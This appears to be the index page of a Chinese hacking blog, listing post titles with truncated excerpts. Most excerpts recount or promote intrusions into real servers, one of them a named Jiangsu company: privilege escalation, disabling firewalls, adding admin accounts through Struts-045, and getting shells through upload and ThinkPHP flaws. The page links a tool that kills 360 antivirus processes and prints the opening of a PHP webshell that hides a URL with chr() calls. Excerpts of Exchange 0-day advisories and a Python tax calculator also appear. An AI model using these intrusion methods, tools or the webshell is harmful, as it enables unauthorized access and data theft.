绕过管理员安全策略再次进入服务器
绕过管理员安全策略再次进入服务器 之前利用MSSQL提权进入了服务器，现在终端连不上，以为是终端关闭了，结果试试开启远程终端，再把防火墙关掉再次连接，成功发现用户密码错误修改下密码即可发现多了一个向日葵360...
微软Exchange高危漏洞通告
微软发布针对ExChange服务的更新，修复了多个已经被黑客利用的0day漏洞。攻击者可以通过这些漏洞绕过ExChange服务的身份验证之后，上传任意文件到服务器上，并以SYSTEM权限运行，完全拿下服务器控制权，漏洞危害巨大。而就在微软发布更新当天，就有国外安全研究员发现了利用了该漏洞在野的攻击案例。无独有偶——3月4日，美国安全团队Huntress也公布了对于该漏洞的在野攻击事件。据Huntress披露，目前已在2000个易受攻击的服务器上发现了300多个Webshell...
紧急情况—在Microsoft Exchange中发现了4个频繁利用的0 day漏洞
紧急情况—在Microsoft Exchange中发现了4个频繁利用的0 day漏洞微软发布了紧急补丁，以解决Exchange Server中此前未公开的四个安全漏洞。据称，一些威胁行为者正在积极利用这些漏洞，以期进行数据盗窃。 微软威胁情报中心（Microsoft
Threat Intelligence
Center，MSTIC）将攻击描述为“有限的和有针对性的”，攻击者利用这些漏洞访问了本地Exchange服务器，进而授予了对电子邮件帐户的访问权限，并为安装其他...
一个可以干掉360进程的提权工具
一个可以干掉360进程的提权工具https://pan.baidu.com/s/1lJqFDsCVblFemNHgy31ECAvjfk...
post upload发包工具精简版
post upload发包工具精简版没事挖了一个通用上传oday，就写了这么一个工具工具原理就是向网站发送构造的POST上传数据包，返回一个shell地址...
thankphp 5.0.x getshell提权
thankphp 5.0.x getshell提权遇到一个站，感觉有漏洞正好写个测试工具...
struts-045秒提windows 2016服务器
struts-045秒提windos server 2016服务器有时候只要看到.action index.action . login.action都可以试试struts遇到一台没打补丁的机器，windos server 2016直接添加管理号，进入服务器...
cmdshell降权峰回路转提权window 2003服务器过程
cmdshell降权峰回路转提权window 2003服务器过程好久没写文章了，今天带来一篇cmdshell降权峰回路转提权window 2003服务器过程目标：一家江苏计算机公司架构类型：aspx初步发现有未授权访问但是上传无法返回图片地址发现有fck，无奈走一波可能有解析漏洞直接访问一切都很顺利直接getshell接下来，就是提权了额发现出问题了,asp不能创建对象,上传了一个aspx试试aspx权限应该够大，但是拒绝访问，看下可写目录直接试试传一个cmd.exe可以执行...
一款不错的php马
<?php$password='xxz';//鐧诲綍瀵嗙爜//----------鏈▼搴忓畬缇庢敮鎸丳HP 4, PHP 5, PHP 7------------------//$c="chr";session_start();if(empty($_SESSION['PhpCode'])){$url=$c(104).$c(116).$c(116).$c(112).$c(58);$url.=$c(47).$c(47)....
python工资纳税程序
python工资纳税程序before=float(input("请输入你的税前工资:"))m1=float(input("请输入社保扣除工资:"))ss=0ys=before-m1-5000if ys<=3000 and ys<0: ss=ys*0.03-0elif ys<=12000: ss=ys*0.1-210elif ys<=25000: ...